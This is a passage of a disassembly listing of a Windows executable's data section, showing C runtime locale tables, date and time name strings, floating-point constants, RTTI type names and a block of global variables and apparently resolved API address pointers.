303538h, 0 ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+EFo a1252 db '1252',0 ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+100o align 4 dd 40Bh, 62303430h, 0 dd offset aFinnish ; "Finnish" dd offset word_4E4946 dd offset aFinland ; "Finland" dd offset word_4E4946 dd 303538h, 0 a1252_0 db '1252',0 align 4 dd 40Ch, 63303430h, 0 dd offset aFrench ; "French" dd 415246h dd offset aFrance ; "France" dd 415246h, 303538h, 0 a1252_1 db '1252',0 align 4 dd 40Fh, 66303430h, 0 dd offset aIcelandic ; "Icelandic" dd offset byte_4C5349 dd offset aIceland ; "Iceland" dd offset byte_4C5349 dd 303538h, 0 a1252_2 db '1252',0 align 10h dd 41Dh, 64313430h, 0 dd offset aSwedish ; "Swedish" dd offset dword_455650+3 dd offset aSweden ; "Sweden" dd offset dword_455750+3 dd 303538h, 0 a1252_3 db '1252',0 align 4 dd 42Dh, 64323430h, 0 dd offset aBasque ; "Basque" dd 515545h dd offset aSpain ; "Spain" dd 505345h, 303538h, 0 a1252_4 db '1252',0 align 4 db 0Ah db 8,0 align 4 a080a db '080a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4D5345 dd offset aMexico ; "Mexico" dd 58454Dh, 303538h, 0 a1252_5 db '1252',0 align 4 dd 80Ch, 63303830h, 0 dd offset aFrench ; "French" dd 425246h dd offset aBelgium ; "Belgium" dd offset word_4C4542 dd 303538h, 0 a1252_6 db '1252',0 align 10h dd 0C07h, 37306330h, 0 dd offset aGerman ; "German" dd 414544h dd offset aAustria ; "Austria" dd 545541h, 303538h, 0 a1252_7 db '1252',0 align 4 dd 0C09h, 39306330h, 0 dd offset aEnglish ; "English" dd 414E45h dd offset aAustralia ; "Australia" dd 535541h, 303538h, 0 a1252_8 db '1252',0 align 4 dd 0C0Ah, 61306330h, 0 dd offset aSpanishModernS ; "Spanish - Modern Sort" dd offset byte_4E5345 dd offset aSpain ; "Spain" dd 505345h, 303538h, 0 a1252_9 db '1252',0 align 4 dd 0C0Ch, 63306330h, 0 dd offset aFrench ; "French" dd 435246h dd offset aCanada ; "Canada" dd offset dword_4E4140+3 dd 303538h, 0 a1252_10 db '1252',0 align 10h dd 100Ah, 61303031h, 0 dd offset aSpanish ; "Spanish" dd offset byte_475345 dd offset aGuatemala ; "Guatemala" dd offset byte_4D5447 dd 303538h, 0 a1252_11 db '1252',0 align 4 dd 100Ch, 63303031h, 0 dd offset aFrench ; "French" dd 535246h dd offset aSwitzerland ; "Switzerland" dd offset dword_452DF0+1A53h dd 303538h, 0 a1252_12 db '1252',0 align 4 dword_455A38 dd 140Ah, 61303431h, 0 ; DATA XREF: .data:00455CA4o dd offset aSpanish ; "Spanish" dd 435345h dd offset aCostaRica ; "Costa Rica" dd offset byte_495243 dd 303538h, 0 a1252_13 db '1252',0 align 4 dd 140Ch, 63303431h, 0 dd offset aFrench ; "French" dd offset word_4C5246 dd offset aLuxembourg ; "Luxembourg" dd 58554Ch, 303538h, 0 a1252_14 db '1252',0 align 10h dd 180Ah, 61303831h, 0 dd offset aSpanish ; "Spanish" dd 415345h dd offset aPanama ; "Panama" dd offset dword_4E4150 dd 303538h, 0 a1252_15 db '1252',0 align 4 dd 1C09h, 39306331h, 0 dd offset aEnglish ; "English" dd 534E45h dd offset aSouthAfrica ; "South Africa" dd offset word_46415A dd 373334h, 0 a1252_16 db '1252',0 align 4 dd 1C0Ah, 61306331h, 0 dd offset aSpanish ; "Spanish" dd offset aErrorGetting_0+5 dd offset aDominicanRepub ; "Dominican Republic" dd offset dword_4D4F44 dd 303538h, 0 a1252_17 db '1252',0 align 4 db 0Ah db ' ',0 align 4 a200a db '200a',0 align 10h dd offset aSpanish ; "Spanish" dd 565345h dd offset aVenezuela ; "Venezuela" dd offset word_4E4556 dd 303538h, 0 a1252_18 db '1252',0 align 10h db 0Ah db '$',0 align 4 a240a db '240a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4F5345 dd offset aColombia ; "Colombia" dd offset byte_4C4F43 dd 303538h, 0 a1252_19 db '1252',0 align 4 db 0Ah db '(',0 align 10h a280a db '280a',0 align 4 dd offset aSpanish ; "Spanish" dd 525345h dd offset aPeru ; "Peru" dd 524550h, 303538h, 0 a1252_20 db '1252',0 align 4 db 0Ah db ',',0 align 4 a2c0a db '2c0a',0 align 4 dd offset aSpanish ; "Spanish" dd 535345h dd offset aArgentina ; "Argentina" dd offset byte_475241 dd 303538h, 0 a1252_21 db '1252',0 align 4 a0 db 0Ah db '0',0 align 4 a300a db '300a',0 align 10h dd offset aSpanish ; "Spanish" dd offset byte_465345 dd offset aEcuador ; "Ecuador" dd 554345h, 303538h, 0 a1252_22 db '1252',0 align 10h a4 db 0Ah db '4',0 align 4 a340a db '340a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4C5345 dd offset aChile ; "Chile" dd offset byte_4C4843 dd 303538h, 0 a1252_23 db '1252',0 align 4 a8 db 0Ah db '8',0 align 10h a380a db '380a',0 align 4 dd offset aSpanish ; "Spanish" dd 595345h dd offset aUruguay ; "Uruguay" dd 595255h, 303538h, 0 a1252_24 db '1252',0 align 4 db 0Ah db '<',0 align 4 a3c0a db '3c0a',0 align 4 dd offset aSpanish ; "Spanish" dd 5A5345h dd offset aParaguay ; "Paraguay" dd 595250h, 303538h, 0 a1252_25 db '1252',0 align 4 word_455C74 dw 0C0Ch ; DATA XREF: _TestDefaultCountry+34r dw 0C1Ah dd 4361007h, 42D080Ch, 100C0403h, 81D0810h off_455C88 dd offset aAmerica ; DATA XREF: ___get_qualified_locale+9Co ; "america" dd 415355h dd offset aBritain ; "britain" dd 524247h dd offset aChina ; "china" dd offset byte_4E4843 dd offset aCzech ; "czech" dd offset dword_455A38+0Bh dd offset aEngland ; "england" dd 524247h dd offset aGreatBritain ; "great britain" dd 524247h dd offset aHolland ; "holland" dd offset aIoctlsocket+0Ah dd offset aHongKong ; "hong-kong" dd offset dword_474B48 dd offset aNewZealand ; "new-zealand" dd offset word_4C5A4E dd offset aNz ; "nz" dd offset word_4C5A4E dd offset aPrChina_0 ; "pr china" dd offset byte_4E4843 dd offset aPrChina ; "pr-china" dd offset byte_4E4843 dd offset aPuertoRico ; "puerto-rico" dd offset dword_495250 dd offset aSlovak ; "slovak" dd offset byte_4B5653 dd offset aSouthAfrica_1 ; "south africa" dd offset word_46415A dd offset aSouthKorea_0 ; "south korea" dd 524F4Bh dd offset aSouthAfrica_0 ; "south-africa" dd offset word_46415A dd offset aSouthKorea ; "south-korea" dd 524F4Bh dd offset aTrinidadTobago ; "trinidad & tobago" dd offset dword_4F5454 dd offset aUk ; "uk" dd 524247h dd offset aUnitedKingdom ; "united-kingdom" dd 524247h dd offset aUnitedStates ; "united-states" dd 415355h dd offset aUs ; "us" dd 415355h off_455D40 dd offset aAmerican ; DATA XREF: ___get_qualified_locale+67o ; "american" dd 554E45h dd offset aAmericanEngl_0 ; "american english" dd 554E45h dd offset aAmericanEnglis ; "american-english" dd 554E45h dd offset aAustralian ; "australian" dd 414E45h dd offset aBelgian ; "belgian" dd 424C4Eh dd offset aCanadian ; "canadian" dd 434E45h dd offset aChh ; "chh" dd offset word_48485A dd offset aChi ; "chi" dd offset word_49485A dd offset aChinese ; "chinese" dd 534843h dd offset aChineseHongkon ; "chinese-hongkong" dd offset word_48485A dd offset aChineseSimplif ; "chinese-simplified" dd 534843h dd offset aChineseSingapo ; "chinese-singapore" dd offset word_49485A dd offset aChineseTraditi ; "chinese-traditional" dd 544843h dd offset aDutchBelgian ; "dutch-belgian" dd 424C4Eh dd offset aEnglishAmerica ; "english-american" dd 554E45h dd offset aEnglishAus ; "english-aus" dd 414E45h dd offset aEnglishBelize ; "english-belize" dd offset byte_4C4E45 dd offset aEnglishCan ; "english-can" dd 434E45h dd offset aEnglishCaribbe ; "english-caribbean" dd 424E45h dd offset aEnglishIre ; "english-ire" dd offset byte_494E45 dd offset aEnglishJamaica ; "english-jamaica" dd offset byte_4A4E45 dd offset aEnglishNz ; "english-nz" dd 5A4E45h dd offset aEnglishSouthAf ; "english-south africa" dd 534E45h dd offset aEnglishTrinida ; "english-trinidad y tobago" dd 544E45h dd offset aEnglishUk ; "english-uk" dd offset byte_474E45 dd offset aEnglishUs ; "english-us" dd 554E45h dd offset aEnglishUsa ; "english-usa" dd 554E45h dd offset aFrenchBelgian ; "french-belgian" dd 425246h dd offset aFrenchCanadian ; "french-canadian" dd 435246h dd offset aFrenchLuxembou ; "french-luxembourg" dd offset word_4C5246 dd offset aFrenchSwiss ; "french-swiss" dd 535246h dd offset aGermanAustrian ; "german-austrian" dd 414544h dd offset aGermanLichtens ; "german-lichtenstein" dd 434544h dd offset aGermanLuxembou ; "german-luxembourg" dd offset dword_4C4544 dd offset aGermanSwiss ; "german-swiss" dd 534544h dd offset aIrishEnglish ; "irish-english" dd offset byte_494E45 dd offset aItalianSwiss ; "italian-swiss" dd 535449h dd offset aNorwegian ; "norwegian" dd 524F4Eh dd offset aNorwegianBokma ; "norwegian-bokmal" dd 524F4Eh dd offset aNorwegianNynor ; "norwegian-nynorsk" dd offset word_4E4F4E dd offset aPortugueseBraz ; "portuguese-brazilian" dd 425450h dd offset aSpanishArgenti ; "spanish-argentina" dd 535345h dd offset aSpanishBolivia ; "spanish-bolivia" dd 425345h dd offset aSpanishChile ; "spanish-chile" dd offset byte_4C5345 dd offset aSpanishColombi ; "spanish-colombia" dd offset byte_4F5345 dd offset aSpanishCostaRi ; "spanish-costa rica" dd 435345h dd offset aSpanishDominic ; "spanish-dominican republic" dd offset aErrorGetting_0+5 dd offset aSpanishEcuador ; "spanish-ecuador" dd offset byte_465345 dd offset aSpanishElSalva ; "spanish-el salvador" dd offset off_455344+1 dd offset aSpanishGuatema ; "spanish-guatemala" dd offset byte_475345 dd offset aSpanishHondura ; "spanish-honduras" dd offset byte_485345 dd offset aSpanishMexican ; "spanish-mexican" dd offset byte_4D5345 dd offset aSpanishModern ; "spanish-modern" dd offset byte_4E5345 dd offset aSpanishNicarag ; "spanish-nicaragua" dd offset byte_495345 dd offset aSpanishPanama ; "spanish-panama" dd 415345h dd offset aSpanishParagua ; "spanish-paraguay" dd 5A5345h dd offset aSpanishPeru ; "spanish-peru" dd 525345h dd offset aSpanishPuertoR ; "spanish-puerto rico" dd 555345h dd offset aSpanishUruguay ; "spanish-uruguay" dd 595345h dd offset aSpanishVenezue ; "spanish-venezuela" dd 565345h dd offset aSwedishFinland ; "swedish-finland" dd offset byte_465653 dd offset aSwiss ; "swiss" dd 534544h dd offset aUk ; "uk" dd offset byte_474E45 dd offset aUs ; "us" dd 554E45h dd offset aUsa ; "usa" dd 554E45h ; void *off_455F48 off_455F48 dd offset off_455F50 ; DATA XREF: ___init_time+70w ; ___init_time:loc_4348C1w ... align 10h off_455F50 dd offset aSun ; DATA XREF: ___init_time:loc_4348C1o ; .data:off_455F48o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset aSaturday ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril ; "April" dd offset aMay ; "May" dd offset aJune ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember ; "November" dd offset aDecember ; "December" dd offset aAm_0 ; "AM" dd offset aPm_2 ; "PM" dd offset aMDYy ; "M/d/yy" dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy" dd offset aHMmSs ; "H:mm:ss" align 10h dword_456000 dd 2Eh, 0 ; DATA XREF: ___init_numeric+EEo ; .data:off_456008o off_456008 dd offset dword_456000 ; DATA XREF: ___init_monetary+D4w ; ___init_monetary+F6o ... off_45600C dd offset dword_4F4B04 ; DATA XREF: ___init_monetary+E2w off_456010 dd offset dword_4F4B04 ; DATA XREF: ___init_monetary+F1w dd offset dword_4F4B04 dd offset dword_4F4B04 dd offset dword_4F4B04 dd offset dword_4F4B04 dd offset dword_4F4B04 dd offset dword_4F4B04 dd offset dword_4F4B04 dd 2 dup(7F7F7F7Fh) off_456038 dd offset off_456008 ; DATA XREF: ___init_numeric:loc_435289r ; ___init_numeric+F8r ... align 10h dword_456040 dd 2 dup(0) ; DATA XREF: ___multtenpow12+6o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) dd 400FC350h, 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4561A0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: ___multtenpow12+2Ao dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_456300 dd offset off_43F170 ; DATA XREF: .rdata:off_43F1B0o ; .rdata:0043F2DCo ... align 8 a_?avexception@ db '.?AVexception@@',0 off_456318 dd offset off_43F170 ; DATA XREF: .rdata:off_43F1C8o ; .rdata:0043F20Co ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_456338 dd offset off_43F170 ; DATA XREF: .rdata:off_43F218o ; .rdata:0043F25Co ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_456358 dd offset off_43F170 ; DATA XREF: .rdata:off_43F268o ; .rdata:0043F2ACo ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_456378 dd offset off_43F170 ; DATA XREF: .rdata:off_43F2E8o ; .rdata:0043F324o align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) align 8 dword_456398 dd 2 dup(0) ; DATA XREF: sub_401317+C8o dword_4563A0 dd 2 dup(0) ; DATA XREF: sub_401317+62o ; char dword_4563A8[] dword_4563A8 dd 0 ; DATA XREF: WinMain(x,x,x,x)+38Fo ; sub_401CC7+AD4o ... dd 5 dup(0) dword_4563C0 dd 0 ; DATA XREF: sub_401CC7+B30r ; sub_415B7F+60r dd 2D9h dup(0) dword_456F28 dd 0 ; DATA XREF: sub_401CC7+5FBCr ; sub_401CC7+6091r ... dd 7Fh dup(0) dword_457128 dd 0 ; DATA XREF: sub_40B78E+41w ; sub_40B8C9+40w ... dword_45712C dd 0 ; DATA XREF: sub_40B78E+47w ; sub_40B8C9+46w ... dword_457130 dd 0 ; DATA XREF: sub_40B78E+52w ; sub_40B8C9+3Ar ... dword_457134 dd 0 ; DATA XREF: sub_401317+Cr ; sub_4019E7+B9w ... dword_457138 dd 0 ; DATA XREF: sub_40B8C9+75r ; sub_40BAAA+2Aw ... dword_45713C dd 0 ; DATA XREF: WinMain(x,x,x,x)+3DEw ; WinMain(x,x,x,x)+456w ... byte_457140 db 0 ; DATA XREF: sub_4019E7+91o ; sub_401CC7+5F07r ... align 4 dd 0BFh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: .data:off_450724o dd 3345h dup(0) db 2 dup(0) word_46415A dw 0 ; DATA XREF: .data:00455AD4o ; .data:00455CFCo ... dd 47Ah dup(0) db 0 byte_465345 db 3 dup(0) ; DATA XREF: .data:00455BD4o ; .data:00455EBCo dd 0C2h dup(0) db 3 dup(0) byte_465653 db 0 ; DATA XREF: .data:00455F24o dd 3D3Dh dup(0) dword_474B48 dd 0BFh dup(0) ; DATA XREF: .data:00455CC4o db 0 byte_474E45 db 3 dup(0) ; DATA XREF: .data:00455E04o ; .data:00455F34o dd 0FEh dup(0) db 0 byte_475241 db 3 dup(0) ; DATA XREF: .data:00455BB0o dd 40h dup(0) db 0 byte_475345 db 3 dup(0) ; DATA XREF: .data:004559F0o ; .data:00455ECCo dd 3D44h dup(0) db 2 dup(0) word_48485A dw 0 ; DATA XREF: .data:00455D74o ; .data:00455D8Co dd 2BAh dup(0) db 0 byte_485345 db 3 dup(0) ; DATA XREF: .data:00455ED4o dd 3D44h dup(0) db 2 dup(0) word_49485A dw 0 ; DATA XREF: .data:00455D7Co ; .data:00455D9Co dd 17Ah dup(0) db 0 byte_494E45 db 3 dup(0) ; DATA XREF: .data:00455DDCo ; .data:00455E5Co dd 0FEh dup(0) db 3 dup(0) byte_495243 db 0 ; DATA XREF: .data:00455A50o align 10h dword_495250 dd 3Dh dup(0) ; DATA XREF: .data:00455CECo db 0 byte_495345 db 3 dup(0) ; DATA XREF: .data:00455EECo dd 3EBFh dup(0) db 0 byte_4A4E45 db 3 dup(0) ; DATA XREF: .data:00455DE4o dd 40FFh dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: .data:off_4508B8o dd 102h dup(0) db 3 dup(0) byte_4B5653 db 0 ; DATA XREF: .data:00455CF4o dd 3BBBh dup(0) db 2 dup(0) word_4C4542 dw 0 ; DATA XREF: .data:0045591Co dword_4C4544 dd 0BFh dup(0) ; DATA XREF: .data:00455E4Co db 3 dup(0) byte_4C4843 db 0 ; DATA XREF: .data:00455C08o dd 180h dup(0) db 0 byte_4C4E45 db 3 dup(0) ; DATA XREF: .data:00455DC4o dd 3Eh dup(0) db 3 dup(0) byte_4C4F43 db 0 ; DATA XREF: .data:00455B58o dd 0C0h dup(0) db 2 dup(0) word_4C5246 dw 0 ; DATA XREF: .data:00455A74o ; .data:00455E2Co dd 3Fh dup(0) db 0 byte_4C5345 db 3 dup(0) ; DATA XREF: .data:00455C00o ; .data:00455E9Co db 0 byte_4C5349 db 3 dup(0) ; DATA XREF: .data:00455864o ; .data:0045586Co dd 1C0h dup(0) db 2 dup(0) word_4C5A4E dw 0 ; DATA XREF: .data:00455CCCo ; .data:00455CD4o dd 39C0h dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: .data:off_44FB00o dd 37Ch dup(0) dword_4D4F44 dd 100h dup(0) ; DATA XREF: .data:00455B00o db 0 byte_4D5345 db 3 dup(0) ; DATA XREF: .data:004558E8o ; .data:00455EDCo dd 3Fh dup(0) db 3 dup(0) byte_4D5447 db 0 ; DATA XREF: .data:004559F8o dd 3AB8h dup(0) dword_4E3F28 dd 0D1FAh ; DATA XREF: sub_401317+FDw ; sub_40B78E+13o ... dword_4E3F2C dd 1Ch ; DATA XREF: WinMain(x,x,x,x)+3Dw ; sub_401CC7:loc_4046C6r ... dword_4E3F30 dd 0 ; DATA XREF: WinMain(x,x,x,x):loc_4018F9o ; char Dest[] Dest db 80h dup(0) ; DATA XREF: WinMain(x,x,x,x)+495o ; WinMain(x,x,x,x)+52Fo ... ; char byte_4E3FB4[] byte_4E3FB4 db 40h dup(0) ; DATA XREF: WinMain(x,x,x,x)+4ABo ; char byte_4E3FF4[] byte_4E3FF4 db 90h dup(0) ; DATA XREF: WinMain(x,x,x,x)+4C2o dword_4E4084 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4B6w ; WinMain(x,x,x,x)+546w ... dword_4E4088 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4D5w dd 3 dup(0) dword_4E4098 dd 0 ; DATA XREF: WinMain(x,x,x,x)+13Dr byte_4E409C db 0 ; DATA XREF: sub_401B4F+28r ; sub_401B4F+30o align 10h ; char byte_4E40A0[] byte_4E40A0 db 4 dup(0) ; DATA XREF: WinMain(x,x,x,x)+4C7o ; WinMain(x,x,x,x)+552o ; char byte_4E40A4 byte_4E40A4 db 0 ; DATA XREF: WinMain(x,x,x,x):loc_401983r ; WinMain(x,x,x,x)+576o align 4 ; char byte_4E40A8[] byte_4E40A8 db 4 dup(0) ; DATA XREF: WinMain(x,x,x,x)+58Co ; char byte_4E40AC[] byte_4E40AC db 4 dup(0) ; DATA XREF: WinMain(x,x,x,x)+59Eo dword_4E40B0 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4E3w ; WinMain(x,x,x,x)+4FAr ... dword_4E40B4 dd 0 ; DATA XREF: WinMain(x,x,x,x)+49Aw ; sub_401CC7+88Dr dword_4E40B8 dd 0 ; DATA XREF: .data:00440268o dword_4E40BC dd 0 ; DATA XREF: WinMain(x,x,x,x)+24Do ; char byte_4E40C0[] byte_4E40C0 db 4 dup(0) ; DATA XREF: sub_401CC7+7EB8o dword_4E40C4 dd 0 ; DATA XREF: sub_401CC7+22FBo ; char byte_4E40C8[] byte_4E40C8 db 4 dup(0) ; DATA XREF: sub_401CC7+1EA6o ; char byte_4E40CC[] byte_4E40CC db 4 dup(0) ; DATA XREF: sub_401CC7+414Ao ; char byte_4E40D0[] byte_4E40D0 db 4 dup(0) ; DATA XREF: sub_401CC7+429Ao ; char byte_4E40D4[] byte_4E40D4 db 4 dup(0) ; DATA XREF: sub_401CC7+451Fo ; char byte_4E40D8[] byte_4E40D8 db 4 dup(0) ; DATA XREF: sub_401CC7+5D2Co dword_4E40DC dd 77C72C6Bh ; DATA XREF: sub_409E0C+4A7w ; sub_409E0C+4EBr ... dword_4E40E0 dd 77EBA994h ; DATA XREF: sub_409E0C+65w ; sub_41A5C1+166r dword_4E40E4 dd 7622A3F4h ; DATA XREF: sub_409E0C+80Bw ; sub_409E0C+880r ... dword_4E40E8 dd 71C45229h ; DATA XREF: sub_409E0C+9D8w ; sub_409E0C+A43r ... dword_4E40EC dd 71C24870h ; DATA XREF: sub_409E0C+98Aw ; sub_409E0C+A13r ... dword_4E40F0 dd 77C71BB0h ; DATA XREF: sub_409E0C+48Dw ; sub_409E0C+4DBr ... dword_4E40F4 dd 77D4808Bh ; DATA XREF: sub_409E0C+213w ; sub_409E0C+234r ... dword_4E40F8 dd 71C4502Ch ; DATA XREF: sub_409E0C+9CBw ; sub_409E0C+A3Br ... dword_4E40FC dd 77DE801Bh ; DATA XREF: sub_409E0C+372w ; sub_409E0C+3C7r ... dword_4E4100 dd 77DDACABh ; DATA XREF: sub_409E0C+40Fw ; sub_41B964+11Er dword_4E4104 dd 77DE8075h ; DATA XREF: sub_409E0C+37Fw ; sub_409E0C+3CFr ... dword_4E4108 dd 77DD7496h ; DATA XREF: sub_409E0C+3C0w ; sub_419B93+ADr dword_4E410C dd 71AB1B7Bh ; DATA XREF: sub_409E0C+55Aw ; sub_40FB88+115r ... dword_4E4110 dd 77E686CCh ; DATA XREF: sub_409E0C+72w ; sub_409E0C+D2r ... dword_4E4114 dd 71C2498Bh ; DATA XREF: sub_409E0C+97Dw ; sub_409E0C+A06r ... dword_4E4118 dd 77DDAB2Fh ; DATA XREF: sub_409E0C+3A6w ; sub_409E0C+3E7r ... dword_4E411C dd 7620E8C3h ; DATA XREF: sub_409E0C+859w ; sub_409E0C+8ACr ... dword_4E4120 dd 77DD23D7h ; DATA XREF: sub_409E0C+2A5w ; sub_409E0C+2F0r ... dword_4E4124 dd 76214750h ; DATA XREF: sub_409E0C+84Cw ; sub_409E0C+8A4r ... dword_4E4128 dd 77E6D75Bh ; DATA XREF: sub_409E0C+B3w ; sub_40B9D6+16o ... dword_4E412C dd 7620BD61h ; DATA XREF: sub_409E0C+866w ; sub_409E0C+8B4r ... dword_4E4130 dd 71AB60C9h ; DATA XREF: sub_409E0C+54Dw ; sub_409E0C+6D0r ... dword_4E4134 dd 77EBA6E9h ; DATA XREF: sub_409E0C+58w ; sub_409E0C+CAr ... dword_4E4138 dd 76D62A58h ; DATA XREF: sub_409E0C+934w ; sub_413D3D+11Ar dword_4E413C dd 76F36EAAh ; DATA XREF: sub_401CC7:loc_4040DFr ; sub_409E0C+A95w ... dword_4E4140 dd 77E802FCh ; DATA XREF: sub_409E0C+A6w ; sub_409E0C+F2r ... dword_4E4144 dd 77C75455h ; DATA XREF: sub_409E0C+480w ; sub_409E0C+4D3r ... dword_4E4148 dd 71AB12A7h ; DATA XREF: sub_409E0C+5F6w ; sub_40C63B+20r ... dword_4E414C dd 71C574FAh ; DATA XREF: sub_409E0C+9BEw ; sub_409E0C+A33r ... dword_4E4150 dd 71AB1746h ; DATA XREF: sub_409E0C+5E9w ; sub_409E0C+754r ... dword_4E4154 dd 71C21CA3h ; DATA XREF: sub_409E0C+A0Cw dword_4E4158 dd 71B28D0Dh ; DATA XREF: sub_409E0C+B50w dword_4E415C dd 762211EFh ; DATA XREF: sub_409E0C+7FEw ; sub_409E0C+86Dr dword_4E4160 dd 77D902E3h ; DATA XREF: sub_409E0C+1B3w ; sub_41910C+15r dword_4E4164 dd 71C2FA86h ; DATA XREF: sub_409E0C+997w ; sub_409E0C+A1Br ... dword_4E4168 dd 77DE1291h ; DATA XREF: sub_409E0C+38Cw ; sub_409E0C+3D7r ... dword_4E416C dd 77E2C1B3h ; DATA XREF: sub_409E0C+399w ; sub_409E0C+3DFr ... dword_4E4170 dd 73B81E3Bh ; DATA XREF: sub_409E0C+C85w ; sub_409E0C+C8Cr ... dword_4E4174 dd 71ABF628h ; DATA XREF: sub_409E0C+6ACw ; sub_411278+D0r dword_4E4178 dd 71AB1836h ; DATA XREF: sub_401317+1Dr ; sub_401317+23r ... dword_4E417C dd 77C72889h ; DATA XREF: sub_409E0C+4B4w ; sub_415F56+207r dword_4E4180 dd 71C453F8h ; DATA XREF: sub_409E0C+9E5w ; sub_409E0C+A4Br ... dword_4E4184 dd 77DD5C55h ; DATA XREF: sub_401000+51r ; sub_409E0C+2B2w ... dword_4E4188 dd 77E96645h ; DATA XREF: sub_409E0C+7Fw ; sub_409E0C+DAr ... dword_4E418C dd 77428B97h ; DATA XREF: sub_401CC7+5A70r ; sub_401CC7+7B1Br ... dword_4E4190 dd 71AB41DAh ; DATA XREF: WinMain(x,x,x,x)+8Cr ; sub_401CC7+5267r ... dword_4E4194 dd 762059A3h ; DATA XREF: sub_409E0C+825w ; sub_409E0C+890r ... dword_4E4198 dd 71C4A1B4h ; DATA XREF: sub_409E0C+9A4w ; sub_409E0C+A23r dword_4E419C dd 1F7CD214h ; DATA XREF: sub_409E0C+C0Ew ; sub_409E0C+C3Fr dword_4E41A0 dd 77E09134h ; DATA XREF: sub_409E0C+2CCw ; sub_4192B6+47r dword_4E41A4 dd 77D4456Bh ; DATA XREF: sub_409E0C+22Dw ; sub_4127AD+40r ... dword_4E41A8 dd 76D629BBh ; DATA XREF: sub_409E0C+91Aw ; sub_409E0C+92Er ... dword_4E41AC dd 1F7B9D96h ; DATA XREF: sub_409E0C+C28w dword_4E41B0 dd 77E09070h ; DATA XREF: sub_409E0C+2D9w ; sub_4192B6+4Fr dword_4E41B4 dd 71AB1740h ; DATA XREF: 